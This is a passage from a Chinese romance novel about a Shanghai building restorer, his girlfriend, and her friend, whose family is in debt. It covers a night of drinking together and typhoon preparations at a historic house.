门窗洞口周边也没放过,张野把器械搬近,距边缘20cm处加密扫描,重点检测窗框与墙体连接处的热桥。 当然,‘疑似缺陷’区域,他们也会使用老方法辅助验证。 “咚咚!” 橡胶锤轻敲,发出清脆的声音。 “空鼓区,标上。” “哦好。” 他立刻画上记号。 过程中,甘之如饴,男人这样感觉到。 ...... 苏棠骑小电驴给每人买了可乐,陆砚说,是沾了小军哥的光。 随后吃完午饭,把小军哥喊到一边,了解情况。 谁知开口就被雷到: “对我很好的学姐跳楼了。” “...” 街角修鞋摊的老师傅用锥子穿孔,‘笃笃’声均匀而规律,锤子敲打鞋钉的‘当当’声间隔响起。 “你,你不是大四吗......” “学姐研究生。” “哦对,对,有研究生的......研究生,压力大的。” 人和人的悲欢并不相通,即使比冯小军多六七年阅历,陆砚也无法共情他的悲伤。 然而有些该讲、且不得不讲的事情,此刻却不适合讲了。 麻烦之处就在这。 想了想,换个迂回方式,陆砚鼓励道: “我也没遇过那么大的事情,但是理解你需要休息,你想休息吗?” “我不想。” 回答很快,再没有初来乍到的畏手畏脚。 “......那就上班吧。小军,我不会安慰、也安慰不了,而且我要求你把全部心思和热情,投到工作中。” 顿了顿,并没有在冯小军眼睛里看到不悦,陆砚很满意,认真说: “我的师父跟我讲了一句话,我相信他的智慧,也相信它适用你......” ‘生活中多数烦恼源于想象,困于空想不如着手做事’。 杨启文名字有个‘文’,然而,讲话却不曾如此文绉。 原话是: ‘哎呦嘿,生活里哪来那么多愁事儿?多半是自己瞎琢磨出来的!你看那些整天唉声叹气的,哪个不是被脑子里想的东西困住了?要我说啊,别净搁那儿胡思乱想,伸伸手做点实在事儿,啥烦恼都能慢慢捋顺咯!’ 那会还是同济的客座教授,偶尔给他们上实践课。 一次谈论‘大学生该如何改命’的问题,杨老师满脸平静地讲道: “慢慢捋,会顺的,昂!” 如今,陆砚将给他听。 锤子敲打鞋钉的‘当当’声,依然时不时响起。 冯小军听着,没有说话。 第九十章 借个肩膀 到了傍晚收工,肩膀像坠着两袋水泥,后腰僵着,手指头被笔记本和测量仪压出深深的印子。 手机相册里塞满了墙面编号、温度曲线截图,密密麻麻的记录像蛛网缠住脑子。 为了休假,为了给冯小军打样子,陆砚狠狠工作了一整天。 张野不明所以,跟着狠狠工作了一整天。 他说连骨头都是酸胀的。 是以,两个发狠的男人,完成了一天半的工作量——清水墙前期统计,大功告成! 明天再如此凶狠,假期不是后天就能来? 而后天,杨灵的那边......后天是个好日子! 跟他们分别打完招呼,下班。 想念女友的心十分热切,到一楼房间洗个冷水澡准备溜了。 对了,今天说好要去顾南乔家搞突击检查来着。 三分钟左右,五分钟不到,比清水墙还清水的一个澡就洗完了。 给杨灵发消息,穿好衣服去顾南乔小区。 @Adeline:(语音)亲爱的,是长宁路,天磬嘉苑。一会我把名字打字给你。 压下小腹热切,陆砚慢慢回消息。 ...... ‘长宁路,天磬嘉苑到了,导航到此结束。’ 小区没有杨灵那边严格,外来车辆可以直接进。 跟随地址,来到9栋楼下。 嘿,正好有人出来。 接过缓缓闭合的感应门,一进小区楼,他傻了眼—— 猩红大字刺破暮色。 ‘顾明远,顾南乔,欠债还钱’。 横折勾的棱角、颜料未干的边缘,泛着黏稠的光。 暗红色液体顺洁白墙面蜿蜒而下,拖长的迹痕便如凝固的血泪,将屈辱钉死堂皇处。 懵...... 若是电影画面,观众会饶有兴致的想象。 若是远远观望,他大概会停下来思考。 可近似为惊悚画的信息就在眼前,像一列动车冲撞而来。 他遵照此行的目的行动着,按电梯,进电梯。 身体机械、大脑空白。 “叮!” 电梯门开,1602就在电梯正对面。 ...... 杨灵从早上亢奋到现在,下班还半小时就迫不及待去厕所化妆,走的时候把同事看呆了。 政府大楼都是人精,几天下来,早从小姑娘桌上的玫瑰察觉端倪。 瘦高男人悬着的心,此刻终于死了。 主任正好路过,问‘老洋房试点怎么样,汇报结束,有专家团队去考察’。 她说没问题。 事实上也真没问题。 从专业上考察,陆砚团队绝对合格;从新型技术上考察,可能存在不足,但‘不足’并不致命。 最多,本来能拿90分,结果变成了70分的样子。 她愿意。 甚至只要对方开口,身上所有的钱,都可以给出去—— 当然,之后必须要和她结婚。 粉色的靓车卡着城市限速驶过。 下班先回家,进门将玫瑰插进花瓶,再把昨天物业管家多送来的菜带走。 是的,她很感谢男朋友的细心照顾。 所以两份菜,物业管家那份显然是‘多余’。 没什么忘带的,下楼,去小区超市买红酒,给闺蜜赔罪。 乔乔肯定能看出来,但她向来不那么在意面子。 而且诚心道歉的话,一定会取得原谅的。 反正......反正认错,直到她满意为止嘛! 超市很大,主攻高档商品。 哑光黑色铝合金货架堆了品种繁多的红酒。 选了一瓶顾南乔以前喜欢喝的,又选了一瓶上次去陆砚家、她现在喜欢喝的。 顿了顿,再多拿一瓶吧,下次两人边看电视边喝。 现在不用担心醉了~ 尤其是‘坦诚’之后,她巴不得把所有状态都展露一遍。 倘若对方也愿意接纳的话,便是最让人心安、幸福的事了。 来到收银台—— 不管高端或者低端,每个超市的收银台前旁边都放着某样情侣用品。 她有点不好意思,但能克服。 在收营员的目光注视下,一样样看过去。 最后看不出区别,索性全买了。 生理期明天肯定结束,陆砚向来迫不及待。 因着对方的期待,她也迫不及待。 “叮!” 特殊提醒: ‘情况有变,我把顾南乔带你家吃饭’。 杨灵微微一愣,又幸福的想着: 还好没出小区,我男朋友消息就来了,真幸运。 恨不得对着手机亲几口。 但现实中,只是慢慢对手机说话。 说着说着,一分钟就完了。 一条语音根本不够用...... 即使是善于总结重点的学霸,翻阅着满心雀跃,也根本无从简要概述。 她想,或许她彻底沦陷了。 但没关系,这是解药,是美好的。 ...... “笃笃!” 敲门,没反应。 结合下面的‘标语’,他觉得意料之中。 打电话。 接了。 “晚上好啊,吃了吗?” “没呢。” 听不出情绪。 但对方是顾南乔的话,没有情绪就已经算很糟糕了。 接着寒暄。 “没吃那正好,一起约个饭呗!别说临时邀请没诚意啊,特地搞的突击行动!” “......知道了。” 隔着门,里面好像有一丝丝......说话的声音? 又敲了敲门,说: “是我,我在门外。” 然而敲完门后,不仅里面没动静,连手机那头也是如此。 简单的逻辑判断下,事态很明了。 等吧,没有人愿意那么快开门的。 电梯来了又走,楼下,看起来暗黄又微微泛红的枫叶、成群告别着树梢。 “咔哒!” 门突然打开。 “你怎么来了......” 或许是因为皮肤白的缘故,她的脸看起来很素。 往日张扬明艳的眼、蒙着层薄雾,发尾随意挽个松垮的结,像桃花瓣饱满、娇俏的唇,如今抿成苍白的直线。 光着脚,半步在门外。 或许今天太累了,亦或许他实在不知如何安慰。 陆砚脑抽,说:“感觉你需要,我就来了。” 而脑抽的后果便是,那只脚再无犹豫,彻底踩在门外。 “借个肩膀,朋友那种。” ‘朋友’是块免死金牌,至少在男人看来,有了它事情便顺理成章。 她轻轻抱上来。 手臂环过时,像一片羽毛落在后背。 能感觉到对方胸腔里微弱的起伏,隔着薄薄的针织衫,像春风拂过湖面时那层浅浅的涟漪。 陆砚抵着,往里走。 屋内窗帘紧闭,没开灯。 “哐!” 门带上后,踢开东倒西歪的高跟鞋。 空气里,飘荡着外卖和方便面的味道,客厅地毯上散落揉成团的纸巾。 沙发靠墙,坐垫歪斜,女人贴在他肩头,细细的呼吸。 哦对了,内衣也在客厅乱飞。 可陆砚没一丝观摩的心情,只觉得麻烦。 以及担心烂俗故事剧情里、无时不刻发生的巧合——被女友误会。 想到此处,手环过她,给杨灵发消息,‘计划有变,我把顾南乔带你家去’。 看到‘@Adeline’变成‘正在输入中’后,舒了口气。 夕阳透不进来的房间,整个地面都铺着两人的影子。 影子里,一颗心向另一颗不属于它的心,求安慰。 顾南乔还抱着,他尽力挤出一丝耐心,又等了等—— 大约一两分钟后,陆砚说: “事情慢慢处理,现在你收拾东西跟我走,我们去找杨灵。” 她答应了,没松手: “再靠一会,就当帮忙,再一会就走。” 第九十一章 亲吻 一前一后两辆车,分别在另一个小区的地下车场停好。 陆砚下了车,过来准备帮拿行李箱。 车上橘子味的香氛和如今的顾南乔形成鲜明违和,仿佛驾驶室的女人不是车主。 “别跟灵灵讲。”她说。 “...” 问而不答,便是答了。 人与人渭济分明的边界被赤裸裸亮明,就让沉默来填补落差吧。 然后她哭了。 隐忍的呼吸轻轻翕动,细微哭声在车内如此清晰。 已经数不清第几次见证她的眼泪。 同情?怜惜? 不。 一张足够坐满七八人的长桌里,陆砚的同情顶多只有一筷子的分量。 其余,只觉得麻烦。 不是冷血。 多数男人十分不擅长应对哭泣的女人。 他是一百分不擅长应对此种情况的男人。 不跟杨灵讲?怎么可能? 跟顾南乔保有共同秘密,还瞒着杨灵? 怎么可能! 侥幸和贪心美色什么的,通通滚啊! 别他妈提这种可能危及他感情的要求——这,才是感到不耐烦的根本原因。 “你知道的,不可能瞒,也不该瞒。我能做的就是,在你做好心理建设上楼以前,再陪你坐会。” “......谢谢。” 坐会也仅仅只是坐会,没有说话,也无话可说。 很多电影导演此时会插段两人的回忆、羁绊,云云。 以丰满人物形象,引导观众共情。 可现实中,男主角什么都没想。 一想到哪天自己被别人堵门口、写大字追款......就头皮发麻。 他也是头一回遇到,根本没案例可参照! 顾南乔回头拍了拍他,才回过神。 “快检查一下,身上有没有口红印,免得上去被误会了” “......谢谢” 男人的不耐烦散了些。 人就是如此感性的动物——感性地认为自己可以不管不顾,感性地觉得自己理性。 然而只要对方给予一点关心,你就忍不住回报同等的情感。 他开始认真思考对方的处境: 家庭变故?毕竟有另一个顾姓名字出现。 欠债,欠多少?现在是还不上还是不愿还? 一个与前面女人不相匹配的词,缓缓从心底浮现,老赖。 艹,思考还不如不思考! 过程中没忘记给杨灵发消息,只是把手机调成了静音,不想让顾南乔以为是催促。 墨斗先生:现在在小区楼下,稍稍迟些上来,你先休息一下呀,待会跟你解释。 墨斗先生:(爱心.jpg) 他对杨灵思念得紧。 某大文豪说,女人,只有全心全意爱上对方,才会心甘情愿发生关系;男人,只有和女人发生关系后,才会全心全意爱上对方。 两者之间的时差,便是谈恋爱需要调校的。 他们,就快了。 幸福之门就在眼前,一步可越。 地下车库不知天上光景,七点二十悄然而至。 “顾......乔乔。” 中国人,喊全名的时候有种严肃感,他选择昵称,“临门一脚,你需要一点冲动,下定决心。” “......嗯。” 没话了。 见状,陆砚直接下车,打开前车门,轻拉她的手,“走,跟我走。” 她顺从。 ...... 顾明远的破产申请在排队中。 期间给法官打了很多电话,同时,拒接了很多人的电话。 现在没有助理,工作上的交接全得自己应付。 破产,是个合理合法的商业行为。 提交申请后,一定程度上,债务的处置将变得更合情理——前提是得排完队,法院受理。 破产的人扎堆在这阵子,难熬的不是顾明远一人,他懂;债主们也难熬,他理解。 最开始,他催上游还钱,上游神不知鬼不觉‘破产’。 破产也不是债务一笔勾销的意思,而是法院清点结余后,慢慢在众多债主中选择性还款。 即—— 不是不还,是缓还、慢还,有规划、有质量、有批次地还,能还一点是一点。 所以—— 他的钱,变成死账,几乎拿不回来了。 手捧雷到这,压根没时间,还被下家逼得紧。 目前所知,好几家准备卡在申请破产以前起诉他,强制执行还款。 如此,性质就不一样了: ‘破产’由法院主持,相对温和、有序; 若此前被起诉、强制执行,就如同其他债主等着分蛋糕,突然看到有人插队。 排队的人不得急眼? 钱不够还才‘破产’的嘛,总有人的帐会变成死账,凭什么得是我啊! 堵顾南乔的那伙人,就是急了眼的。 他们要他的房子、车子,还有......各种抵资物。 明明期间,顾明远谁都没告诉。 他知道,真正重要的事情,即使在上帝面前也要缄口不言。 还是走漏了风声。 曾经以为,瘦死骆驼比马大,破产后,信托和保险不会有影响,他们依然吃喝不愁。 而现在...... 割肉吧。 即使走了合法的破产程序,也会有人用灰色手段,搅得他们生活不宁。 他尚且忍受不了,顾南乔更不能接受。 乔乔......是个女孩啊! ...... 饭桌上,陆砚心想,没有想象中的难挨。 不知道和杨灵做饭期间,顾南乔想通了什么,竟然如此理智、又有些乐观地说了自家事: “就是这样,我爸爸生意上有些款没还上,他说要过几天苦日子,没想到这么苦诶!” “乔乔!” 杨灵快哭了。 陆砚发现,自己让他哭,需要用离开的方式达成。 而顾南乔,只需要一段话...... 当然,这是心思中,微不足道的部分。 就像面临严肃考试,脑子里却不断播放音乐,类似一种减压手段。 更多的,还是思考眼下的处境。 “灵灵,我家还有信托积极和保险呢,即使最糟糕的情况也衣食无忧的,比陆师傅强一点点。” “确实,瘦死的骆驼比马大,现在我算晓得了。” “晓得了吧?” 她举杯,为这一刻庆祝。 三人倒了酒,包括杨灵在内,赔罪的人打算陪醉一场。 “碰!” “砰!” 高脚杯撞向此夜甜美的空气,高档红酒的甘醇滋味、仿佛有抹平不好回忆的魔力。 陆砚在此般滋味中,真的放下心来。 不还喝着白领半个月房租的红酒嘛,没那么糟糕的! 何况他今天没午休,工作强度又大......此刻上头快,实在没心思多想。 “乔乔。” 杨灵过来轻轻抱住她。 安慰着,她永远会是其支柱,房子想住多久都没问题。 晚餐没怎么吃,便是吃得差不多了。 没有心情收拾桌上残骸,三人转阵地毯。 脱了鞋,坐地上,背靠沙发。 两女凑一块,他拿来酒托,倒酒。 深红宝石的酒液顺杯壁缓缓爬升,像一道凝固的火焰在透明容器里流淌。 颜色还像...... 酒红色指甲油。 顾南乔绷直着双腿,一抹红在柔白地毯上甚是显目。 不同于陆砚,她状态很好,喝得很快。 杨灵陪喝,次次有回应,大半杯已经喝完。 “陆砚,帮我。” “好。” 她的酒量就在这附近了,还要倒酒。 陆砚不劝停,觉得该醉,却不忍心醉得太厉害。 酒液没过杯底,递过去,搂着她。 三人并排坐,细声说着话。 陆砚问,你们以前是怎样的? 顾南乔说,以前她一直欺负杨灵。 顿了顿,补充道,主要是杨灵太好欺负了...... ...... 刚到美国上初中,杨灵英文说得一般,交流只有几个词汇。 即使学校有亚裔老师和亚裔同学—— 她胆子很小。 当时,小孩流行吃一种叫‘M&M''s’的巧克力豆。 杨灵也买,但一直被后桌黑人小孩分着吃。 顾南乔看见了...... 也上去要,她全给了。 第二天,第三天,亦如此。 那时正值某行业黄金时期,顾南乔家很有钱,半个班孩子加起来,也没他爸爸一次投资富裕。 是以,校内横着走。 她没有结交杨灵,也没有为其庇护的意思...... 话说到这,陆砚觉得剧本不对啊。 “那怎么成朋友的?” ‘被欺负的那位’已经睡过去,靠在顾南乔腿上。 “她傻呗。” “...” 自然不全信,让她接着讲。 她说,反正印象里,也没对她多好,关系转变是在高中的时候。 高中去了州私立,同学换了一茬,她们还是同班。 杨灵还是内向,关键体育还不好。 便还被欺负。 顾南乔这会就看不下去了,罩着她度过高中三年。 “...” 故事讲完,和陆砚想象中的姐妹情深,不一样。 可能他酒喝多了,脑子晕乎听岔了,或者顾南乔讲简单了。 总之,他扶过杨灵,对着脸上亲了一口,说: “她反正认你,你也确实挺不错,我还能说什么呢?” 智能家居系统自适应灯把这片地方打得很暗,彼此间像拉着透明窗帘。 窗帘后面,女人很神秘: “你还能陪喝呗!” “我有点晕了,姐姐。” 是实话,今天早上洗了澡......和没午休,确实累着了。 “最后大半瓶,三瓶喝完倒头就睡。” 她起身,有点踉跄,直接从他腿上跨过,大腿蹭过脸颊。 “...” 反正晕晕乎乎的,也没感觉,更不会有回忆。 待酒又倒满大半杯,两人接着聊,话题还是杨灵。 她说,“你喜欢她,是什么时候的事,又为什么喜欢呢?” 原来,女人的声音也可以如此磁性。 原来男人,也喜欢听磁性的声音。 它像远野的呼唤,诱惑人类脱去枷锁、本性回归。 微眯着眼,放任思绪回溯。 是什么时候的事呢? 古人讲,情不知所起,可现实中,总有人问起于何处。 是雨夜老洋房撞见她那回? 不是。 是察觉对方喜欢他的时候? ......也不是 他记起来了。 当时是怀着一颗卑劣的心,装作喜欢她,然后真的喜欢上了她。 “一见钟情,晓得吧?” “晓得。” “我去,这你也晓得?不愧是大律师。” 被踹了一脚。 没错,此刻她越过杨灵,两人肩并肩坐一块。 陆砚似有察觉,但男人的本性没让他过于抗拒。 与女友身上不同的气息缠上来。 像刚拆封的水晶糖纸,裹着三分荔枝蜜的甘甜与两分雪顶气泡水的清洌。 她抬手撩发时,发梢会荡开玫瑰与牡丹揉碎的香雾—— 不是温室里浓得化不开的馥郁,倒像是晨露沾湿牡丹花瓣时,被阳光烘出的那点若有似无的脂粉气。 陆砚是个吃着碗里,想着锅里的人吗? 不是。 他爱着一个人的时候,就只爱一个人,问一千遍也是。 但这不妨碍,另一个人主动靠上来。 在她没做出格的事情以前,道德之神不会降下惩罚,刺痛他的心。 于是安然靠在沙发边,肩膀传来细微压力。 她的头压上来,说,“你要对灵灵好点,知道吧。” “知道。” “不能做对不起她的事情,知道吧” “知——” “也不能起不该有的心思,知道吧?” 或许,她在自言自语。 哦,她真的在自言自语。 自由地饮酒,自由地谈话,自由地交心,是世上少有的、纯粹快乐的事。 历经了快乐的事,两人关系就会更近一步。 陆砚开始认可女人的品格,尽管有吃自己豆腐的嫌疑。 谁在意呢? 张野靠上来他就不在意,顾南乔靠上来,也是如此。 “小妞,自说自话呢?” “对啊。” “现在也在自说自话?” “对啊。” 感觉声音有点飘忽,要么她醉了,要么自己醉了。 最后说:“我们,都不要做对不起杨灵的事,我们一起渡过难关,晓得吧?” “晓得啦。” 柔柔应答。 陆砚便睡了去。 夜晚,广玉兰压低枝头的时刻,顾南乔摇晃起身。 左边是歪在脚边的陆砚,右边是平躺地毯的好友。 她想了想,蹲下,捧着杨灵的脸蛋,狠狠亲了一口。 那时,有点讨厌她。 时间久了,讨厌中又有喜欢,直到确认对方是个真诚、又善良的家伙以后,才彻底接纳。 现在,她们长大了...... 顾南乔又有点,只有头发丝那么一些些、一点点,讨厌她。 就像新眼镜上面的尘灰般、细碎的讨厌。 比刚才又加大了一分力,对准亲过的地方,狠狠亲上。 嘴唇先传来柔嫩触感,随后,甜腻的气息压过红酒芬芳。 “呣嘛!” 嗯。 现在喜欢她了。 超级,超级,超级喜欢。 第九十二章 照旧 半夜,拿了条毯子给衣冠不整的顾南乔遮了遮。 把杨灵抱回房间,又是满脸口红印。 他脑子满是问号,暗自腹诽,还好那娘们不是同性恋...... 一觉天亮。 陆砚认为今天该请假,杨灵认为今天该请假,顾南乔不这样认为。 就像小时候去亲戚家拜年,‘他们认为需要帮你夹菜,你觉得不需要’一样。 两人顺从。 好在房子设施足够,各自浴室洗完澡后,破天荒地,三人一起吃早餐、下楼、去上班。 走的时候顾南乔还打趣道:“灵灵,一次性和两个男朋友同居,快乐不?” 她说很快乐。 陆砚觉得是真心话,就是不知道‘真心的快乐’能持续多久。 反正他有点急,又有点无奈。 ...... 上海市静安区江场三路121号先科律师大厦。 八点四十五,粉色路虎缓缓沉入楼底,灰色西装马甲的都市丽人乘电梯上16楼。 大部分工作的上班时间都是九点,就像大部分工作都称不上‘金领’一样。 在律所,除合伙人级别的老板以外,基本八点左右就来了。 尤其是张羌,每每是最早一批,此刻都加班一小时了。 但顾律师从不愿意在这种事情上‘卷’。 工作认真在做,便无愧于心。 “笃笃笃!” 她知道,尽管是合伙人,王显宗也肯定到了。 中年人睡觉少,还天天咖啡泡着,便会如此。 “进。” 推门,办公室内采光非常好。 “王律,是昨天拉团队的事,我有个案子要申请协助。” 她把热情和积极完美展示出来,律师工作的时候必须如此,得想方设法稳住气场。 “顾律师......” 王显宗深邃的眼睛打量过来,气峙如渊。 类似角色从小到大见了不少,顾南乔内心毫无波澜。 “听说你家里最近有点事?” 再瞧过去,他的眼睛便有了阴翳色彩,瞳孔里的黑,像天空中盘旋秃鹫身上的黑。 身姿挺拔,一丝不苟地回答说: “家父一直很忙,事情不断。王伯伯您的意思是?” “噢噢,没事。最近所里案子多,你先跟张羌商量商量,争取一次性拿下。” 他们讲话总不显山不露水,听不出、也看不出什么内容。 又是领导身份,自然服从安排。 走过转角,到开放式办公区,便是合伙人和一般律师间的距离了。 前者有双层中空玻璃幕墙,玻璃边缘镶嵌哑光金属条,内侧可电动雾化...... 反正,顾律师不觉得有多遥不可及,不就和杨灵家里的一样嘛。 而主办律师的办公区,是挤在一起、用0.8米高的浅灰色隔板隔开的普通模样。 充其量,贴满案件日程表、便签条的隔板颇有严肃氛围。 她的工位在开放办公区最中心,张羌的工位则在靠近厕所的边缘地带。 尽管内心觉得不需要再准备什么了,还是装样子打个招呼吧。 “张律,在忙吗?” 八字眉男人抬头,愕然之色一闪而过: “嗯......嗯!” 他本想说,在工作时间,问‘忙不忙’肯定只有一种答复。 如此回答,既贴合实情,又凸显幽默。 但没说出来。 “王律让我找你取经,黄埔厂的拆迁案你晓得吧?” “......我没有太关注。” “那一会我把卷宗发你,有意见尽管提哦!” 见男人点头,交代完事情顾南乔就回位置上查看邮件去了。 而张羌,看着婀娜又高贵的背影,很多本能的想法在沉默的大脑内,翻来覆去。 ...... 八点四十,花店。 八点五十五,老洋房,疲惫一扫而空。 这就是没被酒色掏空身体、年富力强的男人该有的恢复力。 张野比陆砚小一岁大半,恢复力也强。 冯小军比张野小四岁小半,有点跟不上强度。 他说‘他能’。 勾腰的时候咬牙切齿,硬不做声。 模样何其像‘贤者时段却嘴硬的中年男人’? 反正陆砚笑了。 “小军啊,我看好你,品质方面你比小苏是优秀的。” 小小酥糖每天雷打不动、他但凡进老洋房对方肯定第一个吱声。 而今天,陆砚没迟到,她便说‘早知道比你先到,就多睡一刻钟了’。 此刻,自然不会闭麦:“等着,今天午饭独你没鸡腿!” 实习生掌管后勤大权,古建修复历史上也是没几人了。 陆砚没管她,接着对瘦了十斤的小胖子说: “看到没,为了鼓励你,我鸡腿都没了,不要辜负!” “......好。” 他说。 ‘变化’,不是修房子、一天一点的改造,而是突破某个临界值以后,突然变化的。 就拿沟槽的陈禹举例。 他大学时就那么精,身上‘斑点’那么多,然而颓废和长啤酒肚是一天攒一点吗? 还不是集中在婚后爆发的。 小军似乎也是如此。 但莫要小巧了年轻的力量,过阵子就会复原的,陆砚坚信。 “今天轻松点,加固下门窗,搞搞保护措施。” 前天他和苏棠去横大建材市场采买,就是为了迎接几天之后的台风。 尽管对建筑来说‘不过是些许风霜罢了’,行动上还是谨慎为好。 毕竟报道说,‘超大风’呢~ ...... 学生总有学要上,便晓得每天是星期几。 老师傅开窑烧砖,便每天看是什么天气。 男人在特殊时候,明明晓得自己虚弱,却总感觉有股子使不完的劲——他们以为他还行——这便是病态。 虚,总在过度劳累后。 但人最开始不会察觉,反而觉得有力量。 老金就觉得自己有力量。 尽管他在窑前待了二十来天: 熬过了预热期每三小时检查一次温度,高温烧结期每一个半小时添一次煤。 现在到洇窑冷却期,也是最后一个阶段了。 夜间只需要关闭大半通风口,分时段注水控温即可。 过几天有台风,风起、云涌,便要降雨。 他十分熟稔,完全有准备。 塑料布、草苫一样准备一份,有下雨的势头就把窑顶烟囱周围压死。 雨水灌不进窑内,老人就能睡个安稳觉。 安稳觉...... 现在不是想这些东西的时候。 老金敢对着任何人保证——不管刮怎样的风、下怎样的雨、窑前怎样的难熬,这批砖都会是好的! 不可能......过去的岁月里,他瞧见过太多不可能的事情发生,可依旧觉得...... 不可能有任何差错。 第九十三章 三个人的下班日常 从建筑结构脆弱点切入,陆砚按‘防风、防水、防次生灾害’的逻辑分阶段部署。 然而听起来和做起来完全不一样。 苏棠觉得,和她家的应对措施差不多。 冯小军不同,现在是实打实动手干活的人,生怕一个粗心大意误了事。 “小军,去绑一个试试!” “好。” 陆砚和张野沿着窗户一路加固,他都看在眼里。 原以为是钉‘井’字直接加固,没想到老师傅们用了一手精湛的捆绑法,硬是一颗钉子没用就把门窗稳定好了。 说是楔固配合绑固。 通俗来讲,就是先拿四个玩意卡住窗缝,再用绳子绑住这四个玩意。 和自家家里锁好门窗完全不一样好吧! 按照记忆的画面,他先把楔子底面涂蜂蜡,润滑后果然可以轻易插入小口的缝隙。 后沿对角线打入‘燕尾形木楔’,即‘插入的玩意’。 当然,即使涂了油,长度肯定要经过筛选,不然木材有可能承受不住、被洞穿。 卡到第三根的时候,他的手愈发迟疑,总觉得已经到了极限。 总共就那么点地方,能塞进去四根? 得亏陆砚过来接手。 麻利固定好后,浸过桐油的麻绳开始打结、捆绑。 这一步是有说法的: 首先要把该露出的地方露出,该锁死的节点锁死,如此,才能让束缚力作用在理想的地方,才能让画面更有艺术和欣赏价值。 同时,还注意到了不曾发现的细节—— 陆师傅加了护框木,即加了层保护套,避免绳索勒伤原构件。 不可谓不心细。 试问,如此人才,谁又不爱? 陆砚说,不到万不得已,不要用钉子直接刺进去; 纵是要用,也要选铜制半圆头钉,钉头预先磨圆、润滑,避免划伤木材。 最后他自豪地说,老洋房项目目前还没有使用一根钉子。 冯小军似懂非懂地理解着,却不明白旁听的苏棠为何红着脸、偏过头。 少顷教学,远谈不上倾囊相授的功夫,门窗固定好了。 可惜,两位实习生悟性实在有限,不然陆砚很愿意分享传统智慧中的‘竹销固定法’。 那法子可不得了。 正儿八经的科普—— 竹销遇潮膨胀后自动卡紧,事后浇水收缩即可取出,孔眼自然闭合。 就像真有自己的呼吸和律动一般,妙不可言。 往楼下看了看,老周接着在做事,说今天就能把彩绘雀替的部分补完。 等得空了,屋顶的活还得拜托他。 在紧急预案中,那是比门窗更重要的重中之重。 多少台风掀翻屋顶的案例,从业人员早已耳熟于胸。 所以最最考验功夫的地方,唯有老周上,才放心。 ...... 五点半,顾南乔犹豫了一下,准备下班。 她告诉自己,等案子忙起来了,估计每天工作到都打不住,趁现在多休息养足精神咯! “顾律师!” 回头,是张羌。 “一起吃个晚饭?正好聊下那个拆迁厂的案子。” 男人面上不自觉露出期翼神色,一点都不像个律师。 从小到大,她十分熟悉这个类型: 看似谦虚腼腆,老实人模样,谁知道肚子里是什么心思? 同时也清楚,自己对一般男性来说,是个极有征服欲的对象。 所以每每见到类似人物,都会不自觉冷脸走开。 谁愿意当只兔子,被猎人和猎狗追逐,等被打动之后奉上的真情,却沦为他们炫耀的物件呢? “改天吧,张律师。以后有很多机会的。” 但毕竟不是‘脑残大小姐’,人家笑脸,也不能仅凭第六感就恶语相对吧? 负一层,车启动前先看手机,‘重生之我在沪上修危房’群内已有消息—— 墨斗先生:女士们,工作结束了吗?(窥视.jpg) 墨斗先生:我知道有个空置的大平层,房主傻愣愣的,去那做饭她也没意见。 @Adeline:(小兔子点赞.jpg) 语境转换间,她愣了愣,三人合租的既视感涌了上来。 顾律师没有因为住在别人家而感到不好意思。 因为是杨灵家,还因为之后有足够能力回馈对方。 换句话说,十八岁、拥有零花钱的大朋友,会因为吃了好朋友一根棒棒糖而扭捏吗? 手指飞快打字—— 我系统呢:还好是下班时间看到的消息,不然还以为业务来了。 我系统呢:一人做一道菜!陆师傅买点牛排,记我账上!(墨镜.jpg) 家里可能中落,但懂法律的她晓得,信托基金完全不受波及。 退一万步讲,节约点,自食其力也没问题的呀! 人呐,改变本就是件不容易的事。 她一直如此,底色永远积极乐观善良漂亮漂亮漂亮...... 发动机启动,过收费闸,汇入车流。 一路上十分专注,等红灯也没有胡思乱想前阵子的事情。 这得益于昨晚睡得安心。 甚至,她有愉快的想过: 即使是最坏的事情也有好的一面,至少现在,住的地方就比以前好,下班了都不用预约,就能见着想见的人...... 到了。 乘电梯,输密码,智能家居系统表示欢迎。 大房子空空如也。 陆师傅买菜去了可以理解,灵灵呢? 换完鞋打开手机,群内没信。 倒是另个微信号提示音不断。 顺带一提,当财富累积到一定数额以后,自己家的信息便会放到某类群体的桌上。 此后,清净?离群索居?隐蔽山林? 不存在的。 算了。 百无聊赖的她打开电视,‘虎啸非洲’四个字映入眼帘。 “男孩子......这么爱看动物世界?” ...... 两只老虎跑得快,在非洲大杀特杀的时候,机械锁转动的声音响起。 门刚拉开一半,还不待她打招呼,两人的声音先传来: “杨灵灵小帮厨,鉴于你在超市叛逆的态度,今天必须给你好好上一课!” 杨灵半只脚踏进门,还在回头说话: “Chef陆名不副实,我要转正!” “转正不行,上面可以让给......” 谈笑间,隔一整个公共区域,顾南乔都能感受两者间的吸力。 证据就是,他们现在都没发现,沙发上有个人。 没错,十八岁的大朋友不会因为吃了好朋友一根棒棒糖而扭捏。 可看到好朋友开心、而与自己无关的时候,仍会忍不住失落。 不管什么年纪,不管什么心态,都会如此。 她想回家了。 因为觉得会打扰..... “哇!灵灵小帮厨,看快那是谁!” 顾南乔:“...” “是乔乔大人!” 杨灵用童真的声线跟着凑热闹。 本来有点郁闷的顾律师,顿时鲜活起来。 “灵灵,过来伺候本宫!” 只听闻沙发上盘踞的虎大王一声令下,对方便顺从靠过来。 即使是陆大厨也叫不住。 好,好好。 ......得亏,虎大王是个女人! 第九十四章 最佳消遣项目 年轻时候的夜晚是极具可塑性的。 顾南乔提议去欢乐谷电音蹦迪,陆砚否决; 陆砚提议去保利大剧院体验沉浸式秘林夜游,杨灵否决; 杨灵提议看动物世界......当然被否定。 也是今天,顾某人才发现闺蜜如此小众的爱好。 “不能一味否定,要给出具体要求。” 场上唯一对国际形势研究长达二十余年的雄性,此刻发言立论。 “放松,愉悦的。” “室内,最好有电视。” “......宝贝,你这么喜欢看电视?”陆砚问。 现代人,看电视大约不是娱乐的必备需求吧? 何况想都不用想,电视会放什么内容。 “你不是说给出具体要求吗,顺口一提......” 合理。 综上所述—— ‘舒健养生馆’门口,一辆四座皮卡从夜色缓缓开出,下来一男两女。 车算不得好车,甚至有点不起眼——在人的衬托下。 男人米白色连帽卫衣,深蓝色牛仔裤,简约穿搭,却让人觉得这就是‘时尚’的随性。 至于两女穿了什么? 无人关心。 压根不在乎她们身上的针织连衣裙花多久才确定款型,全顾着看腿了。 但身边的男人连腿也没看,在心里疯狂吐槽: 路上十分钟,结果换衣服就花了半小时。 还是给他换! 失去工装套装的陆师傅倍感‘耻辱’,因为他穿的是女人的衣服。 确切来说,是杨灵精挑细选的oversize款、胸前印有碎花的卫衣。 穿他身上正好,女朋友很满意! 料子舒服是舒服...... 